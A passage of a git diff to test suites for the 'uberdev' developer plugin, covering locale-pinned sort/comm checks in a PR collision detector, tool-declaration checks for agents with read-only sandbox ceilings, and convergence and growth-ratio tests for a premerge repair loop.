assert_no_grep "$GOAL_LIB" '\bbash -c' "G19.no assert_grep "$GOAL_CMD" '--i-know-what-im-doing' "G19.r12-mentioned-once" echo -echo "== G20: version bump locked (0.55.1) ==" -assert_version_bump "$REPO_ROOT" "0.55.1" +echo "== G20: version bump locked (0.56.0) ==" +assert_version_bump "$REPO_ROOT" "0.56.0" assert_no_grep "$REPO_ROOT/tests/solve-claim.test.sh" '0\.30\.0' "G20.solve-claim-no-old-version" assert_grep "$GOAL_P0" 'uberdev_dispatch_resolve_env' "G20b.phase0-wires-resolve-env (#175 SSOT anchor)" @@ -4811,6 +4811,139 @@ else fi echo +echo "== G56: the PR file-collision detector compares paths as BYTES (#755) ==" +# Scoped to the FUNCTION BODY, never the whole file: goal-state.sh is 3800+ +# lines and a whole-file grep for LC_ALL=C is satisfied by any other call site +# in it. The predicate lives in ONE function so the anti-vacuity rows below +# drive the SAME code the live row does -- a probe that re-implements the rule +# it checks is permanently green no matter what the shipped rule does. +g56_body() { # g56_body FILE OPENER -> the function body, opener to its closing brace + awk -v opener="$2" ' + index($0, opener) == 1 { inf = 1; next } + inf && /^}/ { exit } + inf { print } + ' "$1" +} +g56_unpinned() { # g56_unpinned FILE OPENER -> offending lines, empty when clean + # Comment lines are stripped first: the shipped guard carries its own + # rationale, and that paragraph says the words "sort" and "comm", so a probe + # over the raw body is satisfied by the code's own prose. + # + # THEN NEUTRALISE PINNED PAIRS PER TOKEN -- NEVER PER LINE. A trailing + # `grep -v 'LC_ALL=C'` was the first shape tried and it CANNOT SEE the defect + # it exists for: the `intersection=` line runs TWO commands, so pinning only + # the `comm` leaves the string `LC_ALL=C` on the line and `grep -v` then + # discards the whole line, unpinned `sort` and all. Measured on the + # half-pinned body: zero hits. Rewriting each PINNED pair into a single token + # instead leaves every still-UNPINNED `sort`/`comm` on that same line visible + # to the offender grep -- which is what the G56.mutation-half row proves. + # + # `sed -E` rather than a BRE `\(sort\|comm\)`: `\|` is a GNU extension that + # BSD sed matches as a LITERAL pipe, so the BRE form silently neutralises + # nothing on macOS and reds the live row there. Measured, not assumed. + # + # THE TRAILING CLASS IS EVERY COMMAND TERMINATOR, NOT JUST WHITESPACE. A + # `[[:space:]]`-only tail can only see an invocation that carries an argument, + # and `sort` needs none -- it reads stdin. So `... | sort)` closing a command + # substitution, `... | sort` at end of line, `sort|uniq`, `sort;`, `sort&` and + # `sort>f` were every one of them a LIVE unpinned sort that this grep scored + # as zero hits, and G56.live printed PASS over the lot. The two mutants below + # cannot catch that: both spell every occurrence with a following flag, which + # is precisely the whitespace case the old tail already covered. + # G56.mutation-bare is the row that pins the widened tail. + # + # `=`, `"`, `'` and `}` stay OUT of the class deliberately -- those are how an + # ASSIGNMENT or a variable READ ends, so admitting them would red `sort=/bin/x`, + # `"$sort"` and `${sort}`, none of which invokes anything. + g56_body "$1" "$2" \ + | grep -vE '^[[:space:]]*#' \ + | sed -E 's/LC_ALL=C[[:space:]]+(sort|comm)/PINNED_\1/g' \ + | grep -nE '(^|[^=[:alnum:]_./-])(sort|comm)([[:space:])|;&<>`]|$)' || : +} +G56_OPENER='_uberdev_goal_rebase_collision_chain() {' +G56_LINES="$(g56_body "$GOAL_LIB" "$G56_OPENER" | grep -c . || :)" +if [ "${G56_LINES:-0}" -ge 10 ]; then + echo " PASS G56.extract: the collision-chain body extracted $G56_LINES lines"; PASS=$((PASS + 1)) +else + echo " FAIL G56.extract: extracted only ${G56_LINES:-0} lines — every row below is vacuous"; FAIL=$((FAIL + 1)) +fi +G56_HITS="$(g56_unpinned "$GOAL_LIB" "$G56_OPENER")" +if [ -z "$G56_HITS" ]; then + echo " PASS G56.live: every sort/comm in the collision detector is LC_ALL=C-pinned"; PASS=$((PASS + 1)) +else + echo " FAIL G56.live: unpinned sort/comm in the collision detector: $G56_HITS"; FAIL=$((FAIL + 1)) +fi +# ANTI-VACUITY: TWO MUTANTS, THE SAME PREDICATE FUNCTION. Without these a typo +# in the grep would make G56.live pass forever. +G56_MUTANT="$(mktemp)" +cat >"$G56_MUTANT" <<'EOF_G56_FULL' +_uberdev_goal_rebase_collision_chain() { + local merged_sorted + merged_sorted="$(printf '%s\n' "$merged_diff" | sort -u)" + intersection="$(comm -12 <(printf '%s\n' "$merged_sorted") <(printf '%s\n' "$pr_diff" | sort -u))" +} +EOF_G56_FULL +G56_MUTANT_HITS="$(g56_unpinned "$G56_MUTANT" "$G56_OPENER")" +rm -f "$G56_MUTANT" +if [ -n "$G56_MUTANT_HITS" ]; then + echo " PASS G56.mutation: a fully unpinned body reds through the same predicate"; PASS=$((PASS + 1)) +else + echo " FAIL G56.mutation: the predicate cannot see an unpinned sort/comm — G56.live is vacuous"; FAIL=$((FAIL + 1)) +fi +# THE HALF-PINNED MUTANT IS THE ONE THAT MATTERS. It is the shipped +# `intersection=` line with the `comm` pinned and the inner `sort` left bare -- +# the exact half-fix a reviewer waves through, and the exact body the rejected +# line-level predicate scored as CLEAN. A predicate that greens here is a +# predicate that would have shipped the very defect this section is named for. +G56_MUTANT_HALF="$(mktemp)" +cat >"$G56_MUTANT_HALF" <<'EOF_G56_HALF' +_uberdev_goal_rebase_collision_chain() { + local merged_sorted + merged_sorted="$(printf '%s\n' "$merged_diff" | LC_ALL=C sort -u)" + intersection="$(LC_ALL=C comm -12 <(printf '%s\n' "$merged_sorted") <(printf '%s\n' "$pr_diff" | sort -u))" +} +EOF_G56_HALF +G56_HALF_HITS="$(g56_unpinned "$G56_MUTANT_HALF" "$G56_OPENER")" +rm -f "$G56_MUTANT_HALF" +if [ -n "$G56_HALF_HITS" ]; then + echo " PASS G56.mutation-half: a half-pinned line still reds — the predicate is per-token, not per-line"; PASS=$((PASS + 1)) +else + echo " FAIL G56.mutation-half: a pinned comm hides an unpinned sort on the same line — G56.live is vacuous"; FAIL=$((FAIL + 1)) +fi +# THE BARE-TERMINATOR MUTANT — the hole the two rows above CANNOT see. Both of +# them spell every occurrence with a following flag (`sort -u`, `comm -12`), so +# a `[[:space:]]`-only tail was enough to red them and the rest of the offender +# class went untested. `sort` takes no operand, so these three spellings are the +# ones a rewrite of the shipped `merged_sorted=` / `intersection=` lines actually +# produces: the word ends at `)`, at end-of-line, or at `|`. Every one of them is +# a live unpinned sort. Against the pre-widening `[[:space:]]` tail this body +# scores ZERO hits -- which is what makes the widening a fix and not a cosmetic. +# +# No `comm` row here, and that is not an omission: `comm` requires TWO operands, +# so a terminator always follows an operand, never the command name itself. The +# tail is shared by the `(sort|comm)` alternation and the two mutants above +# already prove `comm` reaches this grep. +G56_MUTANT_BARE="$(mktemp)" +cat >"$G56_MUTANT_BARE" <<'EOF_G56_BARE' +_uberdev_goal_rebase_collision_chain() { + local merged_sorted pr_sorted intersection + merged_sorted="$(printf '%s\n' "$merged_diff" | sort)" + pr_sorted="$(printf '%s\n' "$pr_diff" | sort|uniq)" + intersection="$(LC_ALL=C comm -12 <(printf '%s\n' "$merged_sorted") <(printf '%s\n' "$pr_sorted"))" + printf '%s\n' "$intersection" | sort +} +EOF_G56_BARE +G56_BARE_HITS="$(g56_unpinned "$G56_MUTANT_BARE" "$G56_OPENER")" +G56_BARE_COUNT="$(printf '%s\n' "$G56_BARE_HITS" | grep -c . || :)" +rm -f "$G56_MUTANT_BARE" +# ALL THREE, never merely one: a tail widened for `)` alone would satisfy a +# non-empty check while leaving the end-of-line and `|` bypasses wide open. +if [ "${G56_BARE_COUNT:-0}" -eq 3 ]; then + echo " PASS G56.mutation-bare: all 3 bare-terminator sorts red — ')', end-of-line and '|' are in the offender class"; PASS=$((PASS + 1)) +else + echo " FAIL G56.mutation-bare: expected 3 bare-terminator hits, got ${G56_BARE_COUNT:-0} — the offender tail is still whitespace-only: $G56_BARE_HITS"; FAIL=$((FAIL + 1)) +fi + echo "== Summary ==" printf '%d passed, %d failed\n' "$PASS" "$FAIL" diff --git a/tests/model-routing.test.sh b/tests/model-routing.test.sh index 33cae1af..f3194fb8 100644 --- a/tests/model-routing.test.sh +++ b/tests/model-routing.test.sh @@ -47,6 +47,7 @@ import importlib.util import json import os from pathlib import Path +import re import shutil import subprocess import sys @@ -200,6 +201,139 @@ for route, roles in expected_route_groups.items(): check(row["delegation_mode"] == "leaf", f"{role} must be leaf") check(policy["delegation_contracts"]["leaf"] == {"features_multi_agent": False, "agents_max_depth": 0}, "leaf enforcement contract drifted") +# --- #749: sandbox_ceiling's first read-site whose subject is OUTSIDE the policy --- +# `sandbox_ceiling` was a dead contract. It is VALIDATED -- lib/model_routing.py +# enum-checks every row against _SELECTABLE_SANDBOXES -- and it is ASSERTED, by +# the loop above, against `workspace_write_roles`: a hardcoded twin of the same +# claim, transcribed into this file. Nothing projected it into a tool grant and +# nothing compared it with the agent cards. Two independent "read-only" claims +# existed -- the policy row and the card -- and neither reached the runtime nor +# checked the other. That is what let 31 of the 38 read-only-ceiling roles ship +# with every tool granted while this suite and +# tests/testers-agent-contract.test.sh both printed PASS. +# +# The block below reads policy[...]["sandbox_ceiling"] and compares it against +# plugins/uberdev/agents/*.md. Deriving read_only_roles from +# `workspace_write_roles` instead would reproduce the defect exactly: that set +# is the transcription, not the field. +# +# WHAT `tools:` ACTUALLY DOES, stated precisely -- a comment that claims a +# ceiling which does not exist is the same defect as a policy field that never +# reaches one. The key restricts which TOOL NAMES an agent may call. A +# parenthesised argument inside an entry is not matched against a filesystem +# path; `Write()` is not a file-permission rule (only `Edit(path)` is +# matched by those). So this block asserts that a role DECLARES a tools: list at +# all -- never that a pattern inside one bounds where the agent may write. +# +# What is asserted, and what deliberately is NOT: +# * NOT: that every read-only role carries a `tools:` declaration. Writing one +# for the rest is a per-agent judgement, not a mechanical sweep -- each agent +# must still be able to call the tools it actually calls. The six Phase 1 +# review lenses write a result file /uberdev:review-pr validates from disk +# (plugins/uberdev/shared/phase1-reviewer-output-v1.md), so any list written +# for them has to include `Write`; one that omits it breaks Phase 1 for every +# PR. #749 fixed the eight testers-* personas; the rest is the larger sweep +# that issue defers, and the waiver below is its worklist. +# * YES: no agent card may declare `allowed-tools:` AT ALL. On an agent that +# key is inert. It stays correct under plugins/uberdev/commands/, which this +# check does not look at. +# * YES: every read-only role either declares `tools:` or is NAMED below. The +# waiver is SHRINK-ONLY: a role that gains `tools:` while still listed is a +# FAILURE, so the list cannot rot into a permanent exemption, and a NEW agent +# shipped with no declaration reds instead of silently joining them. +FRONTMATTER_RE = re.compile(r"(?s)\A---\n(.*?)\n---\n") +# WHAT COUNTS AS A DECLARATION. This has to be the SAME answer declared_tools() +# gives in tests/testers-agent-contract.test.sh -- that function and this block +# ask one question of one set of cards, and the eight testers personas are inside +# both subjects. +# +# Bare key PRESENCE is not that answer. `tools:` with nothing after it and no +# block-sequence items is YAML null: the loader grants EVERY tool, exactly as if +# the key were absent. Keying on presence therefore made every row below vacuous +# on precisely the state #749 exists to red on -- measured on this tree by +# emptying the value on a live testers card, the role stayed in declares_tools, +# so the testers-subset row and the read-only projection row both still printed +# PASS while that agent held every tool. It is also the exact spelling a +# half-finished migration produces, which is what this stack IS. +# +# So a declaration is a `tools:` key with a NON-EMPTY value, in either YAML +# spelling of a list -- a same-line flow value, or the block-sequence item lines +# that follow an empty same-line value. ONLY `- item` lines are absorbed: an +# indented continuation of another key's folded scalar is not a tool declaration. +# Widening WHICH SPELLINGS count is not a relaxation; requiring the value be +# non-empty is the strictness the guard was always meant to have. +TOOLS_RE = re.compile(r"(?m)^tools:[ \t]*(.*(?:\n[ \t]*-[ \t]+\S.*)*)$") +declares_tools = set() +declares_allowed_tools = set() +for agent_path in sorted((ROOT / "plugins/uberdev/agents").glob("*.md")): + matched = FRONTMATTER_RE.match(agent_path.read_text(encoding="utf-8")) + check(matched is not None, f"{agent_path.name}: no --- frontmatter block") + block = matched.group(1) + named = re.search(r"(?m)^name:[ \t]*(\S+)", block) + role = named.group(1).strip() if named else agent_path.stem + declared = TOOLS_RE.search(block) + if declared is not None and declared.group(1).strip(): + declares_tools.add(role) + if re.search(r"(?m)^allowed-tools:", block): + declares_allowed_tools.add(role) + +check(not declares_allowed_tools, + "agent cards declaring the inert slash-command key 'allowed-tools:' " + f"(an agent card is read for 'tools:'): {sorted(declares_allowed_tools)!r}") + +read_only_roles = {role for role, row in policy["roles"].items() + if row["sandbox_ceiling"] == "read-only"} +testers_roles = {role for role in read_only_roles if role.startswith("testers-")} +# Both counts are ANTI-VACUITY anchors for the subset assertions below, not +# release ratchets: `A <= B` is trivially true when A is empty, so an emptied +# read_only_roles or testers_roles would turn the real checks green by leaving +# them no subject. If one reds, re-derive the census -- do not just bump it. +check(len(read_only_roles) == 38, + f"expected 38 read-only-ceiling roles in the policy, got {len(read_only_roles)} -- " + "a role's sandbox_ceiling moved; re-derive the waiver below before changing this") +check(len(testers_roles) == 8, f"expected 8 testers-* read-only roles, got {len(testers_roles)}") + +# The #749 worklist: a read-only ceiling in the policy that no `tools:` +# declaration mirrors. SHRINK-ONLY -- the stale-waiver row below is the ratchet. +# Deliberately NOT size-locked: deleting a name as an agent gains a tools: list +# is the intended success path, and a length assertion would red on it with a +# message that reads like a defect and force a two-place edit. +UNENFORCED_READ_ONLY_WAIVER = { + "ci-failure-classifier", "code-reviewer", "code-simplifier", "comment-analyzer", + "convention-compliance", "finding-verifier", "findings-to-issues", + "merge-strategy-decider", "plan-reviewer", "pr-test-analyzer", + "research-patterns", "research-prior-art", "silent-failure-hunter", + "spec-compliance-reviewer", "spec-reviewer", "trust-trail-evaluator", + "type-design-analyzer", "uberthink-arbiter", "uberthink-falsifier", + "uberthink-frame", "uberthink-generator", "uberthink-moderator", + "uberthink-synthesizer", +} +# ORDER MATTERS. `check` raises on the first failure, so a row placed after one +# that subsumes its trigger can never fire -- and a guard that cannot fail is the +# defect #749 is about. The testers-in-waiver row therefore comes FIRST: waiving +# a persona that still declares tools: would otherwise be swallowed by the +# stale-waiver row, and waiving one that does not would be swallowed by the +# testers-enforcement row, leaving this message permanently dead. Each of the +# five rows below owns a mutation no earlier row reaches. +check(not (testers_roles & UNENFORCED_READ_ONLY_WAIVER), + "a testers-* persona was added to the #749 waiver, which re-opens the issue it closed: " + f"{sorted(testers_roles & UNENFORCED_READ_ONLY_WAIVER)!r}") +check(UNENFORCED_READ_ONLY_WAIVER <= read_only_roles, + "waiver names something that is not a read-only-ceiling role: " + f"{sorted(UNENFORCED_READ_ONLY_WAIVER - read_only_roles)!r}") +stale_waiver = UNENFORCED_READ_ONLY_WAIVER & declares_tools +check(not stale_waiver, + "waiver is STALE -- these roles now declare tools: and must be deleted from it: " + f"{sorted(stale_waiver)!r}") +check(testers_roles <= declares_tools, + "a testers-* persona lost its tools: declaration, which re-opens #749: " + f"{sorted(testers_roles - declares_tools)!r}") +unprojected = read_only_roles - declares_tools - UNENFORCED_READ_ONLY_WAIVER +check(not unprojected, + "a read-only sandbox_ceiling is neither mirrored by a tools: declaration nor waived " + "(declare the tools: key, or name the role in UNENFORCED_READ_ONLY_WAIVER): " + f"{sorted(unprojected)!r}") + # The policy schema is closed and JSON duplicate keys never silently win. These # mutations used to enter through validate_catalog(policy, ...); load_policy / # _validate_policy is the surviving entry point and validates the same document. diff --git a/tests/premerge-findings.test.sh b/tests/premerge-findings.test.sh index e5d98040..a0fc9a0c 100644 --- a/tests/premerge-findings.test.sh +++ b/tests/premerge-findings.test.sh @@ -25,6 +25,17 @@ LIB="$REPO_ROOT/plugins/uberdev/lib/premerge-findings.py" [ -r "$LIB" ] || { echo "FATAL: required file missing or unreadable: $LIB" >&2; exit 2; } command -v python3 >/dev/null 2>&1 || { echo "FATAL: python3 is required by ${0##*/}" >&2; exit 2; } +# B33 derives the fix-commit fence's allowed set by EXECUTING the fence's own +# jq expression rather than a transcription of it, so jq is a hard requirement +# of this file now. A skipped row would report success over an unrun check. +command -v jq >/dev/null 2>&1 || { echo "FATAL: jq is required by ${0##*/}" >&2; exit 2; } + +# The markdown the B33 rows pull that expression OUT of. FATAL here rather than +# tolerated downstream: if this file moved, every B33 row would fail carrying +# the extractor's sentinel and the one real cause would be buried under forty +# derived ones. +SKILL_MD="$REPO_ROOT/plugins/uberdev/skills/premerge-pipeline/SKILL.md" +[ -r "$SKILL_MD" ] || { echo "FATAL: required file missing or unreadable: $SKILL_MD" >&2; exit 2; } WORK="$(mktemp -d)" @@ -55,6 +66,105 @@ plan() { new_case() { local d; d="$(mktemp -d "$WORK/case.XXXXXX")"; printf '%s' "$d"; } +# ---- acceptance criterion 2's machinery (the B33 rows) -------------------- + +# plan_blocked DIR ATTEMPT ROOT -> plan at ATTEMPT with the widening turned on +plan_blocked() { + local dir="$1" attempt="$2" root="$3" + python3 -I -B "$LIB" plan --input "$dir/in.json" --out-dir "$dir" \ + --attempt "$attempt" --carry-blocked --repo-root "$root" \ + >"$dir/out.txt" 2>"$dir/err.txt" +} + +# write_blocked DIR NN JSON_ROWS -> DIR/blocked-on-NN.json +write_blocked() { + local dir="$1" pad="$2" rows="$3" + python3 -I -B -c ' +import json, sys +path, attempt, rows = sys.argv[1], int(sys.argv[2]), sys.argv[3] +with open(path, "w", encoding="utf-8") as fh: + json.dump({"schema_version": 1, "attempt": attempt, + "blocked_on": json.loads(rows)}, fh) +' "$dir/blocked-on-$pad.json" "$((10#$pad))" "$rows" +} + +# ONE copy of the extractor, never two. `fence_jq_line` drives it over the +# SHIPPED SKILL.md for every live row, and B33h drives THE SAME variable over +# deliberately broken SKILL-shaped bodies. A freshly typed second copy in the +# mutation rows would leave a typo in the live one green forever -- which is +# how an anti-vacuity row ends up being the vacuous one. +FENCE_JQ_AWK=' +$0 == "```bash uberdev-executable origin=premerge-fix-commit" { inf = 1; next } +inf && index($0, "```") == 1 { exit } +inf && index($0, "jq -r") == 1 { print; exit } +' + +# fence_jq_line FILE -> the fix-commit fence's own column-0 `jq -r` line, or +# nothing. Column 0 AND inside THAT fence, because two other jq calls would +# otherwise answer for the scope guard: the ordering guard's `jq -r '.verdict'` +# lives in a command substitution in this same fence (so it is not at column 0), +# and other fences in the file carry jq of their own (so the walk must stop at +# this fence's closing backticks). B33h drives both decoys. +fence_jq_line() { awk "$FENCE_JQ_AWK" "$1"; } + +# allowed_set DIR NN [SKILL_FILE] -> the allowed set the fix-commit fence would +# derive, computed with the fence's OWN expression, extracted from SKILL.md +# rather than transcribed. A transcribed copy is a test of the copy. +allowed_set() { + local dir="$1" pad="$2" skill="${3:-$SKILL_MD}" expr + expr="$(fence_jq_line "$skill")" + [ -n "$expr" ] || { printf 'NO-JQ-LINE-IN-FENCE'; return 0; } + # A SUBSHELL, because the fence line ends in `|| exit 2` and that is the + # point -- it is the shipped bytes. `eval` runs in the CURRENT shell, so an + # unguarded eval of that line would exit this whole fixture on a jq failure: + # nothing after it prints, and a suite that dies early looks exactly like a + # silent pass. The subshell absorbs the exit and the `||` arm sees it. + ( + PREMERGE_WAVES_FILE="$dir/fix-waves-$pad.json" + PREMERGE_SCOPE_RAW="$dir/scope-$pad.raw" + eval "$expr" + ) || { printf 'JQ-FAILED'; return 0; } + LC_ALL=C sort -u <"$dir/scope-$pad.raw" +} + +# admits SET PATH -> true when the space-joined SET holds PATH as a whole entry. +# ONE membership predicate for every positive AND negative row in the section, +# so a broken one cannot leave the negative rows quietly green: the same call is +# expected to succeed somewhere and to fail somewhere else on every run. +admits() { case " $1 " in *" $2 "*) return 0 ;; *) return 1 ;; esac; } + +# dup_lines FILE -> the lines FILE holds MORE THAN ONCE. +# +# Pointed at the RAW `jq -r` output and NOT at `allowed_set`'s stdout, which +# ends in `sort -u`: a duplicate detector reading THAT is green whatever the +# wave plan holds -- a guard that cannot fail. The raw file is `.waves[][].file` +# verbatim, which is the surface a second owner for one path shows up on. +dup_lines() { LC_ALL=C sort <"$1" | uniq -d; } + +# triage_blocked DIR -> the BLOCKED= field of the triage line, or a loud +# sentinel. BLOCKED is the line's last field, so the suffix strip is exact -- +# and one reader serves both the widened row (1) and the opt-out row (0), which +# is what keeps either from passing over a broken extraction. +triage_blocked() { + local line + line="$(grep '^PREMERGE_TRIAGE ' "$1/out.txt")" + case "$line" in + *" BLOCKED="*) printf '%s' "${line##* BLOCKED=}" ;; + *) printf 'NO-TRIAGE-LINE' ;; + esac +} + +# counts_field DIR NN NAME -> classified-NN.json's counts.NAME. A renamed key +# answers with a sentinel instead of a traceback, so the row that reads it fails +# saying which key went missing. +counts_field() { + python3 -I -B -c ' +import json, sys +counts = json.load(open(sys.argv[1] + "/classified-" + sys.argv[2] + ".json"))["counts"] +print(counts.get(sys.argv[3], "NO-SUCH-COUNT")) +' "$1" "$2" "$3" +} + # -------------------------------------------------------------------------- echo "== B1: plan happy path — the three severity provenances ==" D="$(new_case)" @@ -2123,6 +2233,686 @@ else bad "B29: one corrupt artifact still costs the whole run: $(cat "$D/b29.err")" fi +# -------------------------------------------------------------------------- +echo "== B32: the growth ratio, and the stop it drives (#754) ==" +# DRIVEN, not grepped. A detector whose only test is "the identifier appears in +# the source" is a detector that can be made unreachable without any row going +# red -- the exact class this file's own header is about. Every case below runs +# the shipped verb against a synthetic run directory and reads the DECISION, the +# GROWTH field and the exit status off the real output line. + +# scope DIR ATTEMPT PATH... -> writes DIR/fix-scope-.modified +# The same shape the fix-commit fence writes: one repo-relative path per line, +# already sorted and unique. +scope() { + local dir="$1" attempt="$2" pad + shift 2 + pad="$(printf '%02d' "$attempt")" + printf '%s\n' "$@" >"$dir/fix-scope-$pad.modified" +} + +# decide_g DIR ATTEMPT MAX VERDICT REASONS -> prints "||" +# +# All three on ONE line for the reason `decide` already documents: a command +# substitution runs in a subshell, so an rc stashed inside never reaches the +# caller -- and rc is half of what is under test here, since a stop exits 1. +# +# stderr is kept in DIR/g.err rather than discarded, because one of the five +# causes of an unmeasured ratio -- an OSError on a scope file that IS present -- +# is indistinguishable from the four benign ones by its `-` alone. Its +# announcement is the only thing that separates "we could not look" from "there +# was nothing to look at". +decide_g() { + local dir="$1" attempt="$2" maxa="$3" verdict="$4" reasons="$5" + local line rc + line="$(python3 -I -B "$LIB" converge --run-dir "$dir" --attempt "$attempt" \ + --max-repairs "$maxa" --verdict "$verdict" --reasons "$reasons" 2>"$dir/g.err")" + rc=$? + printf '%s|%s|%s' \ + "$(printf '%s' "$line" | sed -n 's/.*DECISION=\([A-Z_]*\).*/\1/p')" \ + "$(printf '%s' "$line" | sed -n 's/.*GROWTH=\([0-9.-]*\).*/\1/p')" \ + "$rc" +} + +expect_g() { # expect_g "" "" "" + if [ "$1" = "$2" ]; then + ok "B32: $3 -> $2" + else + bad "B32: $3 -> got '$1', wanted '$2'" + fi +} + +# 0.00 -- every blocker this round is new, and NONE of them is in a file the +# last repair touched. This is a loop finding real work elsewhere in the stack. +D="$(new_case)" +write_input "$D" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/b.sh","line":2,"summary":"beta","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D" 1 "$SHA_A" || bad "B32: setup attempt 1 failed" +decide_g "$D" 1 6 not_green 'blockers_remaining=2' >/dev/null +scope "$D" 1 'lib/a.sh' +write_input "$D" '[{"file":"lib/z.sh","line":1,"summary":"zulu","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/y.sh","line":2,"summary":"yankee","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D" 2 "$SHA_B" || bad "B32: setup attempt 2 failed" +expect_g "$(decide_g "$D" 2 6 not_green 'blockers_remaining=2')" 'CONTINUE|0.00|0' \ + "two new blockers, neither in a repaired file" + +scope "$D" 2 'lib/z.sh' 'lib/y.sh' +write_input "$D" '[{"file":"lib/w.sh","line":1,"summary":"whiskey","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/v.sh","line":2,"summary":"victor","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D" 3 "$SHA_C" || bad "B32: setup attempt 3 failed" +expect_g "$(decide_g "$D" 3 6 not_green 'blockers_remaining=2')" 'CONTINUE|0.00|0' \ + "a second round at 0.00 still continues" + +# EXACTLY at the ceiling, twice. The comparison is `>=` and the number compared +# is the same rounded value the line prints, so the boundary has one defined +# answer and this is it. The first round at 0.50 must NOT stop -- that is the +# warn half, and a detector that fired on one round would stop a convergence +# whose repairs happened to be concentrated. +# +# THE PAIR IS ITSELF THE MUTATION for CONVERGE_GROWTH_RUNS. One ratio, one +# scope, two decisions: nothing but the consecutive-round requirement can +# produce CONTINUE from 0.50 and then STOP_SELF_REFERENTIAL from 0.50. Collapse +# the constant to one round and the first row reds; delete the stop and the +# second does. +D_THRESH="$(new_case)" +write_input "$D_THRESH" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/b.sh","line":2,"summary":"beta","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_THRESH" 1 "$SHA_A" || bad "B32: threshold setup 1 failed" +decide_g "$D_THRESH" 1 6 not_green 'blockers_remaining=2' >/dev/null +scope "$D_THRESH" 1 'lib/a.sh' +write_input "$D_THRESH" '[{"file":"lib/a.sh","line":7,"summary":"delta","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/b.sh","line":2,"summary":"beta","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_THRESH" 2 "$SHA_B" || bad "B32: threshold setup 2 failed" +expect_g "$(decide_g "$D_THRESH" 2 6 not_green 'blockers_remaining=2')" 'CONTINUE|0.50|0' \ + "the FIRST round at the threshold warns and continues" + +scope "$D_THRESH" 2 'lib/a.sh' +write_input "$D_THRESH" '[{"file":"lib/a.sh","line":9,"summary":"epsilon","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/b.sh","line":2,"summary":"beta","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_THRESH" 3 "$SHA_C" || bad "B32: threshold setup 3 failed" +expect_g "$(decide_g "$D_THRESH" 3 6 not_green 'blockers_remaining=2')" 'STOP_SELF_REFERENTIAL|0.50|1' \ + "the SECOND consecutive round at the threshold stops, with budget to spare" + +# 1.00 -- every blocker this round is new and in the file the repair just wrote. +# This is the shape the recorded pumped run had on its final attempt. +b32_pump() { # b32_pump DIR SCOPE2 -> replays three attempts, prints attempt 3's result + local dir="$1" scope2="$2" + write_input "$dir" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}]' + plan_at "$dir" 1 "$SHA_A" || bad "B32: pump setup 1 failed" + decide_g "$dir" 1 6 not_green 'blockers_remaining=1' >/dev/null + scope "$dir" 1 'lib/a.sh' + write_input "$dir" '[{"file":"lib/a.sh","line":7,"summary":"delta","failure_scenario":"crash","severity":"blocker"}]' + plan_at "$dir" 2 "$SHA_B" || bad "B32: pump setup 2 failed" + decide_g "$dir" 2 6 not_green 'blockers_remaining=1' >/dev/null + scope "$dir" 2 "$scope2" + write_input "$dir" '[{"file":"lib/a.sh","line":9,"summary":"epsilon","failure_scenario":"crash","severity":"blocker"}]' + plan_at "$dir" 3 "$SHA_C" || bad "B32: pump setup 3 failed" + decide_g "$dir" 3 6 not_green 'blockers_remaining=1' +} + +D="$(new_case)" +expect_g "$(b32_pump "$D" 'lib/a.sh')" 'STOP_SELF_REFERENTIAL|1.00|1' \ + "two rounds of blockers only in the file the repair rewrote" + +# THE MUTATION, THROUGH THE SAME PREDICATE. Identical replay, identical +# assertion path, one byte range changed: the second repair's scope names a +# file no attempt-3 blocker sits in. If the decision does not move, the rows +# above were passing for some reason other than the measurement. +D="$(new_case)" +expect_g "$(b32_pump "$D" 'lib/untouched.sh')" 'CONTINUE|0.00|0' \ + "MUTATION: repoint the repair scope and the same run continues" + +# The false positive the fingerprint exclusion exists to remove. The wave plan +# assigns exactly the files this round's blockers named, so a finding the fixer +# did not clear is ALWAYS in a modified file. Counted, the survivor below would +# make this round measure 0.50 -- and 1.00 on a round with no new work elsewhere +# -- and stop a converging loop on its own success. Drop the fingerprint +# exclusion from `_growth_ratio` and this row reds on the GROWTH field. +D="$(new_case)" +write_input "$D" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/a.sh","line":4,"summary":"bravo","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D" 1 "$SHA_A" || bad "B32: survivor setup 1 failed" +decide_g "$D" 1 6 not_green 'blockers_remaining=2' >/dev/null +scope "$D" 1 'lib/a.sh' +write_input "$D" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}, + {"file":"lib/c.sh","line":3,"summary":"charlie","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D" 2 "$SHA_B" || bad "B32: survivor setup 2 failed" +expect_g "$(decide_g "$D" 2 6 not_green 'blockers_remaining=2')" 'CONTINUE|0.00|0' \ + "a survivor in the repaired file plus a new blocker elsewhere is 0.00" + +# ---- the FIVE causes of `-`, over the FOUR branches, none of them a stop ---- +# +# `-` is not `0.00`: it says the ratio was not measured. SKILL.md `## Phase 3b` +# and `_read_repair_scope`'s docstring name FIVE causes, and they reach FOUR +# distinct branches: (2) and (3) below arrive at the SAME absent-file return, so +# the one row driven for (2) is the driven test for both. A block that exercised +# only one BRANCH would pass just as happily over the other three being dead +# code -- which is why the count that matters here is branches, not causes. + +# (1) attempt 1: there is no predecessor to attribute anything to. +# (2) a predecessor that committed nothing, so the commit fence wrote no scope +# list (`REASON=no-edits`) or the repair only re-ran CI (`arm=rerun`). +# (3) a predecessor that repaired through the CI fence's `arm=commit` path: real +# code edits, really pushed, but that fence publishes `ci-scope-.*` and +# never `fix-scope-.modified`. It is the one cause that switches the +# detector OFF -- such a loop never accumulates two consecutive eligible +# rounds, so STOP_SELF_REFERENTIAL is unreachable for it until that fence +# publishes a scope of its own. It 